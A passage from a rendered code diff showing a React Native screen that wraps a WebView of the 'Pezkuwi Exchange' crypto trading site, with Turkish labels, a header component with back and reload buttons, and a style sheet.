<SafeAreaView style={styles.container} edges={['top']}>
|
||||||
|
<Header
|
||||||
|
canGoBack={canGoBack}
|
||||||
|
onGoBack={() => webViewRef.current?.goBack()}
|
||||||
|
onReload={handleReload}
|
||||||
|
/>
|
||||||
|
|
||||||
|
<WebView
|
||||||
|
ref={webViewRef}
|
||||||
|
source={{ uri: EXCHANGE_URL }}
|
||||||
|
style={styles.webView}
|
||||||
|
injectedJavaScript={injectedJS}
|
||||||
|
onLoadStart={() => setLoading(true)}
|
||||||
|
onLoadEnd={() => setLoading(false)}
|
||||||
|
onError={(e) => {
|
||||||
|
setError(e.nativeEvent.description || 'Sayfa yüklenemedi');
|
||||||
|
setLoading(false);
|
||||||
|
}}
|
||||||
|
onHttpError={(e) => {
|
||||||
|
if (e.nativeEvent.statusCode >= 500) {
|
||||||
|
setError(`Sunucu hatası: ${e.nativeEvent.statusCode}`);
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
onNavigationStateChange={(s) => setCanGoBack(s.canGoBack)}
|
||||||
|
javaScriptEnabled
|
||||||
|
domStorageEnabled
|
||||||
|
sharedCookiesEnabled
|
||||||
|
thirdPartyCookiesEnabled
|
||||||
|
cacheEnabled
|
||||||
|
allowsBackForwardNavigationGestures
|
||||||
|
allowsInlineMediaPlayback
|
||||||
|
showsHorizontalScrollIndicator={false}
|
||||||
|
webviewDebuggingEnabled={__DEV__}
|
||||||
|
/>
|
||||||
|
|
||||||
|
{loading && (
|
||||||
|
<View style={styles.loadingOverlay}>
|
||||||
|
<ActivityIndicator size="large" color="#F0A500" />
|
||||||
|
<Text style={styles.loadingText}>Borsa yükleniyor...</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</SafeAreaView>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
// ─── Header bileşeni ─────────────────────────────────────────
|
||||||
|
|
||||||
|
function Header({
|
||||||
|
canGoBack,
|
||||||
|
onGoBack,
|
||||||
|
onReload,
|
||||||
|
}: {
|
||||||
|
canGoBack: boolean;
|
||||||
|
onGoBack: () => void;
|
||||||
|
onReload: () => void;
|
||||||
|
}) {
|
||||||
|
return (
|
||||||
|
<View style={styles.header}>
|
||||||
|
{canGoBack ? (
|
||||||
|
<TouchableOpacity style={styles.headerBtn} onPress={onGoBack}>
|
||||||
|
<Text style={styles.headerBtnText}>‹</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
) : (
|
||||||
|
<View style={styles.headerBtn} />
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Logo + başlık */}
|
||||||
|
<View style={styles.headerCenter}>
|
||||||
|
<View style={styles.headerLogoBox}>
|
||||||
|
<Text style={styles.headerLogoText}>₿</Text>
|
||||||
|
</View>
|
||||||
|
<View>
|
||||||
|
<Text style={styles.headerTitle}>Pezkuwi Exchange</Text>
|
||||||
|
<Text style={styles.headerSub}>Borsa · Spot Trading</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<TouchableOpacity style={styles.headerBtn} onPress={onReload}>
|
||||||
|
<Text style={styles.headerBtnText}>↻</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Stiller ─────────────────────────────────────────────────
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {
|
||||||
|
flex: 1,
|
||||||
|
backgroundColor: '#0B1120',
|
||||||
|
},
|
||||||
|
header: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
backgroundColor: '#0B1120',
|
||||||
|
borderBottomWidth: 1,
|
||||||
|
borderBottomColor: '#1A2035',
|
||||||
|
paddingHorizontal: 12,
|
||||||
|
paddingVertical: 10,
|
||||||
|
},
|
||||||
|
headerBtn: {
|
||||||
|
width: 36,
|
||||||
|
height: 36,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
headerBtnText: {
|
||||||
|
fontSize: 24,
|
||||||
|
color: '#F0A500',
|
||||||
|
fontWeight: '600',
|
||||||
|
},
|
||||||
|
headerCenter: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
gap: 8,
|
||||||
|
},
|
||||||
|
headerLogoBox: {
|
||||||
|
width: 28,
|
||||||
|
height: 28,
|
||||||
|
borderRadius: 8,
|
||||||
|
backgroundColor: '#F0A500',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
headerLogoText: {
|
||||||
|
fontSize: 16,
|
||||||
|
color: '#0B1120',
|
||||||
|
fontWeight: '900',
|
||||||
|
},
|
||||||
|
headerTitle: {
|
||||||
|
fontSize: 14,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: '#FFFFFF',
|
||||||
|
letterSpacing: 0.3,
|
||||||
|
},
|
||||||
|
headerSub: {
|
||||||
|
fontSize: 10,
|
||||||
|
color: '#8B9BB4',
|
||||||
|
letterSpacing: 0.2,
|
||||||
|
},
|
||||||
|
webView: {
|
||||||
|
flex: 1,
|
||||||
|
backgroundColor: '#0B1120',
|
||||||
|
},
|
||||||
|
loadingOverlay: {
|
||||||
|
...StyleSheet.absoluteFillObject,
|
||||||
|
backgroundColor: '#0B1120',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
gap: 12,
|
||||||
|
},
|
||||||
|
loadingText: {
|
||||||
|
color: '#8B9BB4',
|
||||||
|
fontSize: 14,
|
||||||
|
},
|
||||||
|
errorBox: {
|
||||||
|
flex: 1,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
padding: 32,
|
||||||
|
gap: 12,
|
||||||
|
},
|
||||||
|
errorIcon: {
|
||||||
|
fontSize: 48,
|
||||||
|
},
|
||||||
|
errorTitle: {
|
||||||
|
fontSize: 18,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: '#FFFFFF',
|
||||||
|
},
|
||||||
|
errorMsg: {
|
||||||
|
fontSize: 13,
|
||||||
|
color: '#8B9BB4',
|
||||||
|
textAlign: 'center',
|
||||||
|
},
|
||||||
|
retryBtn: {
|
||||||
|
marginTop: 8,
|
||||||
|
backgroundColor: '#F0A500',
|
||||||
|
paddingHorizontal: 28,
|
||||||
|
paddingVertical: 12,
|
||||||
|
borderRadius: 10,
|
||||||
|
},
|
||||||
|
retryText: {
|
||||||
|
color: '#0B1120',
|
||||||
|
fontWeight: '700',
|
||||||
|
fontSize: 15,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
export default ExchangeScreen;
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user